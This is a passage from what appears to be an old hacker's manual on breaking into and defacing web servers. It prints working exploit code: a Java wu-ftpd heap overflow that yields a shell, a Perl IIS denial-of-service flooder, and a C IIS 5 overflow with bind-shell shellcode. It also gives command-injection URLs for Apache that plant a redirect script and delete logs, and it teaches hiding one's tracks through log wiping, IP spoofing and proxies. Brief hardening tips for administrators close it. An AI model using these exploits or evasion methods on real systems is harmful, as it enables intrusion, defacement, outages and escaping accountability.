  ////////////////////// PUT THE GOT ADDRESS ////////////////////////
  if(hexgot.length()==7)
   {
    got[0] = "0"+hexgot.substring(0,1);
    got[1] = hexgot.substring(1,3);
    got[2] = hexgot.substring(3,5);
    got[3] = hexgot.substring(5,7);
   }

  if(hexgot.length()==8)
   {
```

```
  got[0] = hexgot.substring(0,2);
  got[1] = hexgot.substring(2,4);
  got[2] = hexgot.substring(4,6);
  got[3] = hexgot.substring(6,8);
 }


////////////////// PUT THE HEAP ADDRESS ////////////////////////
if(hexheap.length()==7)
 {
  heap[0] = "0"+hexheap.substring(0,1);
  heap[1] = hexheap.substring(1,3);
  heap[2] = hexheap.substring(3,5);
  heap[3] = hexheap.substring(5,7);
 }

if(hexheap.length()==8)
 {
  heap[0] = hexheap.substring(0,2);
  heap[1] = hexheap.substring(2,4);
  heap[2] = hexheap.substring(4,6);
  heap[3] = hexheap.substring(6,8);
 }


////////////////// PUT THE INPBUF ////////////////////////
if(hexinpbuf.length()==7)
 {
  inpbuf[0] = "0"+hexinpbuf.substring(0,1);
  inpbuf[1] = hexinpbuf.substring(1,3);
  inpbuf[2] = hexinpbuf.substring(3,5);
  inpbuf[3] = hexinpbuf.substring(5,7);
 }

if(hexinpbuf.length()==8)
 {
  inpbuf[0] = hexinpbuf.substring(0,2);
  inpbuf[1] = hexinpbuf.substring(2,4);
  inpbuf[2] = hexinpbuf.substring(4,6);
  inpbuf[3] = hexinpbuf.substring(6,8);
 }


//fill buffer with nops
for(int i=0;i!=480;i++)
 buf2.append((char)0x90);

// fill the buffer with chunks. overwrites the syslog call pointer with
```

```
  // address of our shellcode.
  for(int l=0;l<460;l+=16)
   {

    buf2.setCharAt(l+0,(char)Integer.parseInt("F0", 16));
    buf2.setCharAt(l+1,(char)Integer.parseInt("FF", 16));
    buf2.setCharAt(l+2,(char)Integer.parseInt("FF", 16));
    buf2.setCharAt(l+3,(char)Integer.parseInt("FF", 16));

    buf2.setCharAt(l+4,(char)Integer.parseInt("F0", 16));
    buf2.setCharAt(l+5,(char)Integer.parseInt("FF", 16));
    buf2.setCharAt(l+6,(char)Integer.parseInt("FF", 16));
    buf2.setCharAt(l+7,(char)Integer.parseInt("FF", 16));

    buf2.setCharAt(l+8,(char)Integer.parseInt(got[3], 16));
    buf2.setCharAt(l+9,(char)Integer.parseInt(got[2], 16));
    buf2.setCharAt(l+10,(char)Integer.parseInt(got[1], 16));
    buf2.setCharAt(l+11,(char)Integer.parseInt(got[0], 16));

    buf2.setCharAt(l+12,(char)Integer.parseInt(inpbuf[3], 16));
    buf2.setCharAt(l+13,(char)Integer.parseInt(inpbuf[2], 16));
    buf2.setCharAt(l+14,(char)Integer.parseInt(inpbuf[1], 16));
    buf2.setCharAt(l+15,(char)Integer.parseInt(inpbuf[0], 16));

   }

  buf.append("user ftp\npass http://mp3.com/cosv ");
  buf.append((char)Integer.parseInt(heap[3], 16)+""+
(char)Integer.parseInt(heap[2], 16)+""+(char)Integer.parseInt(heap[1],
16)+""+(char)Integer.parseInt(heap[0], 16));
  buf.append("\n");

  connect(victim);

  dosend(buf.toString());

  StringBuffer snd=new StringBuffer("site exec "+buf2+" AAAA\n");
  dosend(snd.toString());

  buf2=new StringBuffer("");

  //fill buffer with nops
  for(int i=0;i!=480-sclength-1;i++)
   buf2.append((char)0x90);

  //add chunks \0xeb\0x18
  for(int l=2;l<(440-sclength);l+=6)
   {
```

```
  buf2.setCharAt(l,(char)0xeb);
  buf2.setCharAt(l+1,(char)0x18);
 }

//add shellcode
buf2.append(sc);

if(mode.equals("real"))buf2.append("/bin/////sh");
else buf2.append("/sbin/route");

snd=new StringBuffer("");
snd.append(" "+buf2);
dosend(snd.toString());

char c=0x00;
sout.print(c+"\n");

dosend("stat ~{\n");
dosend("quit\n");


if(s!=null)
 {

  if(!mode.equals("real"))
   {
    String temp;

    try
     {
      while((temp=sin.readLine())!=null)
       {

        if(temp.indexOf("Destination")>-1)
          return true;

       }
     }
    catch(IOException e){}

   }


 }//if(s!=null)

if(s!=null && !mode.equals("real"))
 {
  try
```

```
    {
     s.close();s=null;sin=null;sout=null;
    }
   catch(IOException e){}
  }


 return false;
}//exploit



public static void main(String args[])
{
 woot wu=new woot();
 boolean brute=true;
 reader = new Reader(wu);
 writer = new Writer(wu);

 try
  {
   if(args[0]!=null)
    victim=args[0];
  }
 catch(ArrayIndexOutOfBoundsException a){}

 System.out.println("\n!! wu-ftpd 2.6.[0/1] remote heap overflow exploit");
 System.out.println("!! original exploit code by zen-parse");
 System.out.println("!! ported and modified by CraigTM [ElectronicSouls]");

 if(victim.equals(""))
  wu.getTarget();

 System.out.print("\n## Checking server version & anonymous access");

 if(!wu.allowsAnonymous())
  {
   System.out.println("failed: anonymous access denied!");
   System.exit(-1);
  }
 else
  System.out.println("ok");

 try
  {
   if(args[1]!=null)
    {
```

```
        tmp_heap=Long.parseLong(args[1],16);
        System.out.println("++ Option #"+m+" chosen.");
        m=(m-1)*4;
        System.out.println("++ Exploiting "+targets[m]+"\n");

        tmp_got=Long.parseLong(targets[m+1],16)-12;
        tmp_inpbuf=Long.parseLong(targets[m+2],16)+20;


        System.out.println("got:\t"+Long.toHexString(tmp_got+12)+"\
ninpbuf:\t"+Long.toHexString(tmp_inpbuf-20));
        System.out.println("heap:\t"+Long.toHexString(tmp_heap)+"\n");
        System.out.println("\nTrying to get shell...\n");

        wu.exploit("real");
        wu.shell();

        brute=false;
       }
     }
    catch(ArrayIndexOutOfBoundsException a){}

    if(brute)
     {

       if(wu.force())
        {
         wu.exploit("real");
         wu.shell();
        }

       else
        System.out.println("\nSome value somewhere is bad. Could be in a
skipped range.");

     }//brute force the heap


    System.out.println();

   }//main()



}//class

////////////////////////////////////////////////////////////////////////
////////////////////////////SOCKET/READER/////////////////////////////////
```

```
class Reader extends Thread
{

 woot W;

 public Reader(woot w)
  {
   super("shell Reader");
   this.W = w;
  }

 public void run()
  {
   try
    {
     String tmp;

     while(true)
      {
       tmp=woot.sin.readLine();

       if(tmp==null)
        System.exit(1);

       System.out.println(tmp);
      }

    }
   catch (IOException e){}
  }

}//class Reader


////////////////////////////////////////////////////////////////////////////////
////
////////////////////////////////////SOCKET/
WRITER//////////////////////////////////////

class Writer extends Thread
{

 woot W;

 public Writer(woot w)
  {
   super("shell Writer");
```

```
  this.W = w;
 }

public void run()
 {

  try
   {
    DataInputStream in = new DataInputStream (System.in);
    String tmp;

    while(true)
     {
      tmp=in.readLine();
      woot.sout.println(tmp);
     }

   }
  catch (IOException e){}
 }

}//class Writer
```

4.

```
# Written by Ivan Hernandez over code of Georgi Guninski
use IO::Socket;

print "IIS 5.0 Bogus Content-Length\n";

$port = @ARGV[1];
$host = @ARGV[0];

$req="GET /ampgn HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic " . "A" x 50000 . "\r\n\r\n";

$i=0;
```

```
while (1) {
$socket[$i] = IO::Socket::INET->new(PeerAddr =>
$host,PeerPort => $port,Proto => "TCP");
syswrite($socket[$i],$req,length($req));
print ".";
$i++;

}

$i=0;

print "\nDone.";
```

Note: Pal !! please don't think that if you can hack around with the exact code as provided above. Sorry !! these are outdated exploits… don't work anymore.. ☺ actually these codes were given only to get you started with coding exploits. Hacking cannot be done instantly. If you are thinking that you can just surf all throughout the day looking for exploits and at night your gonna hack website, think again.. you need to code your own exploits or modify exploits to suite your need for hacking..

EXPLOITING KNOWN VULNERABILITIES TO BREAK INTO SERVER

Above I have present some exploit codes written in languages like Perl, Java, and C. These are exploit codes written corresponding to vulnerabilities which were discovered in the past and most of the web servers and other website maintenance software are now patched for these vulnerabilities so you just cant instantly use these codes to break into a web server. Keep yourself updated with latest vulnerabilities by visiting sites I mentioned above. But what you have to do is code your own exploits. Generally, as far as I am concern the exploit codes available on the internet corresponds to a vulnerability which is now patched.. in brief.. quite old. So you have to code you own exploits in order to break into a high profile website. Say few days ago a DoS vulnerability was found on Apache servers running PHP. According to the vulnerability if a php module is called without the right parameters then the php module is left unterminated. As a result with increase in number of such request results in increase of system load cause the number of unterminated php module which were in the system memory obviously consumes a large part of system resource. Well this is the concept. Now you have to code exploit for it. you can check the internet for already existing exploits and may be you can get an exploit in C. now if you don't have any programming background then you wont even able to compile the code and form the executable cause the exploit codes available from the internet needs modification and above all compilation of C codes sometimes varies from compiler to compiler. But if you have programming background then

you can make a simple Multithread program either in C or Java (don't know about perl). All you have to give is quite a large number of thread each of which sends a request to the php module on the web server with incorrect parameters. And that's it.. if the web server is really vulnerable you created a DoS. All I wanted to explain in this paragraph is that for defacing websites you need a very good programming background.

INJECTING MALICIOUS CODE THROUGH URL

What is Cross Site Scripting ?

Basically cross site scripting is the method of executing or passing arbitrary system arguments to a web server by exploiting a vulnerability through the URL. Cross Site Scripting bugs will allow us to execute shell commands , inject commands into system files (mainly using ECHO on shell and redirecting the output) , and even create or delete file on the system through the shell considering that the current system status has enough execution privileges.

This is another well know and widely used method of defacing a website. According to this method, an attacker finds some cross site scripting vulnerability on the web server software and attempts to execute scripts or other system commands on the vulnerable system running the target web server. If the attacker find out some cross site scripting vulnerability then he will try to insert some malicious redirection code into the index.html file if the website is not database driven which will result in website redirection every time the index.html page loads up. We can inject malicious code using the test-cgi.bt\at vulnerability which exists in Apache 2.0.x (Win32) (some older versions also contains this test-cgi.bat file). The attack url will look something like :

http://www.target.com/cgi-bin/test-cgi.bat?|
echo+<script>+window.open('http://hackersclub.up.to')+</script>+>>/
htdocs/index.html

now if the attack is success full then the script will be induced in the static index.html file and when this file loads up a window will pop up loading my website.

Another well known bug found in the recent versions of Apache 2.0.x needs mention cause exploiting it we can perform a lot of kewl things which includes remote Operating System detection, injecting malicious code, website defacement, breaking into the system and taking root privileges. The latest versions of Apache web servers contains a virtual directory called Error in server root. This directory contains the HTML file corresponding to the different error messages. Now if we request for a file in this directory with .var extension then the server will reveal its location.

Now if we request for file using this URL :
http://www.target.com/error/HTTP_NOT_FOUND.html.var

then the web server responds with the following output.

Not Acceptable
|
|An appropriate representation of the requested resource
/error/HTTP_NOT_FOUND.html.var could
not be found on this server.
|Available variants:
|
| * C:/server/Apache Group/Apache2/error/HTTP_NOT_FOUND.html.var ,
type text/html, language
de
| * C:/server/Apache Group/Apache2/error/HTTP_NOT_FOUND.html.var ,
type text/html, language
en
| * C:/server/Apache Group/Apache2/error/HTTP_NOT_FOUND.html.var ,
type text/html, language
es
| * C:/server/Apache Group/Apache2/error/HTTP_NOT_FOUND.html.var ,
type text/html, language
fr

Now by taking a look at the paths of server software installation we can find out many information about our target. First of all we can say that the target is Windows Operating System as obviously *nix systems wont have c:\ right ??
This version of Apache will also let us perform cross site scripting.. we can execute arbitrary system commands through the cgi-bin directory or the error directory.
Take a look at the following URL :

http://127.0.0.1/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini

the given url is an Hex Encoded URL which requests for the win.ini file for read access in the winnt directory.
note : %5c = '\' (back slash)
%2e = '.' (dot) (Normal Form of the above URL is :
http://127.0.0.1/error/\..\..\..\..\winnt\win.ini

Another cross site scripting url that we can make is :
http://127.0.0.1/cgi-bin/%5c%2e%2e%5cbin%5cwintty.exe?%2dt+HELLO

In this case we are using the the wintty.exe utility that resides in /bin directory of the Apache installation. Now as I have mentioned earlier

whenever we call a .exe or .bat (shell based executables) file then a shell is spawned to it for execution and in such case we can issue arbitrary system commnds using the | (pipe character) operator.

KEEPING YOURSELF SAFE

If you have working knowledge of popular web servers like IIS , Apache etc.. then I am sure you have come across log files which record each and every request made to the server. Now since each and every request are recorded along with the source IP, then its not a big deal for a system administrator to trace down a malicious cracker through the IP that he left in his logs. So its very important to keep yourself safe of course if you don't like to get busted.. so basically what you have to do is either clear the log files after you break into a web server or use cross site scripting to clear the log files.. basically before you attempt to run a remote exploit program to your target you need to hide yourself .ie your IP.. your IP is the biggest problem which you have to face. If you have little knowledge about Networking then it is obvious that you will know what can be done with an IP.. to know more about tracing an IP read my manual on Tracing IP on http://www.hackersclub.up.to
Basically log files are kept in some standard directories.. for example in the default installation of Apache the log files are kept in C:\Apache Group\ Apache\logs [Apache 1.3.x that I tested] it consists of a access log and a error log which records corresponding events. When a 200 OK message is issued by the server in response to some request then the event is recorded in access log file and the errors like 404 File Not Found, 403 Forbidden etc error messages are stored in the error log file..

Hiding IP: basically when you send data packets to a server your original IP is recorded. But if you use operating systems which allows RAW SOCKET usage then you can send custom made data packets to the server with your preferred source IP..
Now most of you must be asking what is RAW SOCKETS. Well raw sockets are more or less same as normal sockets but it allows more control on data packets to a socket programmer. Basically in win 9X systems which consists of normal socket the source IP and source port etc informations are induced in to a data packet by the Operating System kernel. But in raw socket (also known as Berkley Socket after the name of the developer… raw sockets are characteristic features on *nix systems but implemented by Microsoft in Windows XP .. don't know exactly weather Win 2000 supports raw sockets or not) the system allows the socket programmer to induce custom source IP and source port in a data packet.
Thus if you use *nix systems or Windows XP system then you can enjoy the power of raw sockets. If you have good programming skill then you can code programs which can send custom made data packets utilizing the raw sockets. In this case the data packets which you will send will be logged with fake IP in the server's log.

Another method of keeping yourself safe is to clear the log files. What you can do is use cross site scripting vulnerability to delete the log files. Something like : http://www.target.com/cgi-bin/test-cgi.bat?|/DEL+..\log*.* (in Apache with test-cgi vulnerability)

In case of IIS on Windows 2000 you can use the following method to get a DOS Shell through telnet.

The Following code exploits a buffer overflow in IIS 5 on Windows 2000 server and opens port 1111 and binds a shell to it. if the exploit is successful then all you have to do is use telnet to connect to port 1111 of target and the system is yours !!

now compile and run the following exploit code :

```
/* Windows 2000 Server Exploit By CHINANSL Security Team.
Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.
Warning:THIS PROGRAM WILL ONLY TEST.
CHINANSL Technology CO.,LTD http://www.chinansl.com
keji@chinansl.com
*/

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment (lib,"Ws2_32")

int main(int argc, char* argv[])
{
if(argc != 4)
{
printf("%s ip port aspfilepath\n\n",argv[0]);
printf(" ie. %s 127.0.0.1 80 /iisstart.asp\n",argv[0]);
puts(" programed by keji@chinansl.com");

return 0;
}

DWORD srcdata=0x01e2fb1c-4;//0x00457474;
//address of SHELLCODE
DWORD jmpaddr=0x00457494; //0x77ebf094;/ /0x01e6fcec; //"\x1c\xfb\xe6\x01"; //"\x0c\xfb\xe6\x01";

char* destIP=argv[1];
char* destFile=argv[3];
int webport=atoi(argv[2]);
```

```
char* pad="\xcc\xcc\xcc\xcc" "ADPA" "\x02\x02\x02\x02" "PADP"; //16
bytes

WSADATA ws;
SOCKET s;
long result=0;
if(WSAStartup(0x0101,&ws) != 0)
{
puts("WSAStartup() error");
return -1;
}

struct sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_port=htons(webport);
addr.sin_addr.s_addr=inet_addr(destIP);
s=socket(AF_INET,SOCK_STREAM,0);
if(s==-1)
{
puts("Socket create error");
return -1;
}

if(connect(s,(struct sockaddr *)&addr,sizeof(addr)) == -1)
{
puts("Cannot connect to the specified host");
return -1;
}

char buff[4096];
char* shellcode="\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\xfc\
x33\xc9\x89"
"\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x65\x6c\x33\x32"
"\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x33\x32\x2e\xab"
"\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\xab\x32\xc0\x4f"
"\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x53\xff\xd0\x89"
"\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\xff\x53\xff\xd0"
"\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75\xfc\xff\xd3\x89"
"\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x33\xf6\x66\xbe"
"\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66\xbe\x3e\x02\x56"
"\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x56\xff\x75\xfc"
"\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75\xfc\xff\xd3\x89"
"\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75\xfc\xff\xd3\x89"
"\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75\xfc\xff\xd3\x89"
"\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x89\x45\xe0\x6a"
"\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x75\xf8\xff\xd3"
"\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\xff\xd3\x89\x45"
"\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x13\xff\x75\xf8"
```

```
"\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x89\x45\xc8\x6a"
"\x03\xff\x75\xf8\xff\xd3\x89\x85\x1c\xff\xff\xff\x8d\x7d\xa0\x32"
"\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\xc0\xab\xf7\xd0"
"\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\xc8\xab\x33\xc0"
"\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x01\x50\xff\x55"
"\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x45\xc4\x6a\x10"
"\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\xff\x75\xc4\xff"
"\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x89\x45\xc0\x33"
"\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x9c\x50\xff\x55"
"\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x8d\x45\x94\x50"
"\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\xb1\x44\x32\xc0"
"\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x01\x01\x89\x47"
"\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x40\x89\x47\x3c"
"\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x8d\x85\x38\xff"
"\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x80\x51\x53\xff"
"\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34\xff\xff\xff\x89"
"\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85\x2c\xff\xff\xff\x50"
"\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85\x2c\xff\xff\xff\x85"
"\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85\x2c\xff\xff\xff\x50\x53"
"\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x85\xc0\x74\x6d"
"\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff\xff\xff"
"\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x90\x90\x90\x90"
"\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x90\x90\x33\xc0"
"\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\xc0\xff\x55\xc8"
"\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\xc0\x50\x8d\x85"
"\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff"
"\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\xb4\xff\x75\xc4"
"\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95\x1c\xff\xff\xff\x6a"
"\xff\xff\x95\x18\xff\xff\xff";


char* s1="POST ";// HTTP/1.1\r\n";
char* s2="Accept: */*\r\n";
char* s4="Content-Type: application/x-www-
form-urlencoded\r\n";
char* s5="Transfer-Encoding:
chunked\r\n\r\n";
char* sc="0\r\n\r\n\r\n";

char shellcodebuff[1024*8];
memset(shellcodebuff,0x90,sizeof
(shellcodebuff));
memcpy(&shellcodebuff[sizeof(shellcodebuff)-
strlen(shellcode)-1],shellcode,strlen(shellcode));
shellcodebuff[sizeof(shellcodebuff)-1] = 0;


char sendbuff[1024*16];
```

```
memset(sendbuff,0,1024*16);

sprintf(sendbuff,"%s%s?%s HTTP/1.1\r\n%sHost: %s\r\n%s%s10\r\n%s\r\
n4\r\nAAAA\r\n4\r\nBBBB\r\n%s", s1, destFile, shellcodebuff, s2, destIP,
s4,s 5, pad/*,srcdata,jmpaddr*/, sc);


int sendlen=strlen(sendbuff);
    *(DWORD *)strstr(sendbuff,"BBBB") = jmpaddr;
*(DWORD *)strstr(sendbuff,"AAAA") = srcdata;

result=send(s,sendbuff,sendlen,0);
if(result == -1 )
{
puts("Send shellcode error!");
return -1;
}

memset(buff,0,4096);
result=recv(s,buff,sizeof(buff),0);

if(strstr(buff,"<html>") != NULL)
{
shutdown(s,0);
closesocket(s);

puts("Send shellcode error!Try again!");
return -1;
}


shutdown(s,0);
closesocket(s);
printf("\nUse <telnet %s 1111> to connect to the host\n",destIP);
puts("If you cannot connect to the host,try run this program again!");

  return 0;
}
```

note : explanation of this C code is beyond the scope of this manual.

What this code does is causes a overflow in IIS on WIN2000 and compels the system to bind a shell to the source IP on port 1111. now if this exploit works accordingly there will be a shell bind on port 1111 on the target system. All you have to do is use telnet targetIP 1111 command on console to get connected to the system without any kind of authentication.

The most frequently used method of keeping yourself safe is by using multiple wingates or proxies. Before you issue commands on the target system you need to do it via proxies or wingates so that the IP logged on the logs of the target system will be that of the proxy or wingate system's and not yours. In that case it will be quite difficult to trace you… but definitely not impossible.

LAST NOTES AND SECURITY MEASURES

Website defacement has become a real trouble for different companies and also recently for Governmental sites since now government websites are defaced due to various cyber wars and other reasons not to mention here. Most of the website defacements and their analysis that I have seen in sites like http://defaced.alldas.org shows to me that it has been cracked and not hacked !! due to severe misconfigurations and neglect in responsibilities of system administrators and other members of the group related to website security.
I'll suggest system administrators to follow points in protecting their websites.

Firstly as I explained earlier in their manual about directory permissions and how they are exploited, it is always a very good idea to organize your webroot with proper directories. I mean I directory for images, HTMLs, and other static contents. The permission for this directory must be minimum with no scripting or execution permission as obviously HTMLs and other static images will never require such permissions. Malconfigurations in this point of views often led to an attacker to easily insert malicious code in the index.html file resulting in website redirection.

Regularly (almost everyday) visit the websites of your web server company and read about latest vulnerabilities and the solution for those vulnerabilities. It should be born in mind that all softwares are exploitable (as far as my opinion is concern) so if your web server is vulnerable that doesn't mean that you should change your webserver. Download and install proper patches available from the official site of your web server and regularly patch your web serve and Operating system for know vulnerabilities. Visit websites like http://securityfocus.com for keeping yourself in touch withj latest vulnerabilities and solutions corresponding to those vulnerabilities.

Check your system for open holes. Port scan your system regularly and check for open ports. Also check for vulnerabilities associated with those ports and install proper patches. Try hosting your website through a proxy. Use dynamic data base driven pages in order to secure your pages pages (mainly index.html) from malicious script insertion. Malicious scripts can be inserted in many ways. Not only through URL but it can also be inserted through telnet.

And lastly I want to say a thing which is totally my views. I think a website cannot be secured highly just by reading books and getting other professional trainings. Unless you know the methods of Crackers and Hackers you will not be able to protect your website. You need to know how crackers think before they aim to break into your site. You can easily protect your system from script kiddies who only scan systems for known vulnerabilities. But protecting your system from hackers or crackers who have one and only one target until they succeed is very tough. Until you know how they are thinking and what will be their approach or methods, it is next to impossible to protect your website from those persons.

If your using Linux or other *nix variants, it doesn't mean that your system is totally safe. Linux is regarded as so much secure cause Windows has always been targeted by hackers for vulnerabilities… atleast for so many years. (my view only) so your website security does not depends on Operating System running only. If depends upon the configurations and intelligent management of your system.

Run as minimum services as required. Try closing services which is not indispensable. If system is using or giving shares on internal network then do use hardware/packet level firewalls.

Oki doki, finally another end of another manual.

Comments and Suggestions are welcomed at abhisek@gamebox.net

Abhisek Datta
http://www.abhisekdatta.up.to
http://www.hackersclub.up.to

abhisek@gamebox.net

JOIN HC by sending a blank mail to
members_hackersclub@yahoogroups.com